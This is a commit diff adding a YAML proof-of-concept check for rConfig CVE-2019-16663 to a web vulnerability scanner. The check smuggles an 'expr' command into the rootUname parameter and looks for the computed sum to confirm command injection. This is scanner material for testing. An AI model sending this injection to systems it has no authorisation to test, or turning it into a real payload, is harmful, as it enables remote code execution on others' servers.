优化xray解析模块,支持groups、新增poc

WebScan/pocs/rconfig-cve-2019-16663.yml

@@ -0,0 +1,15 @@
+name: poc-yaml-rconfig-cve-2019-16663
+set:
+  r: randomInt(800000000, 1000000000)
+  r1: randomInt(800000000, 1000000000)
+rules:
+  - method: GET
+    path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r + r1)))
+detail:
+  author: 17bdw
+  links:
+    - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
+    - https://www.cnblogs.com/17bdw/p/11840588.html
+    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/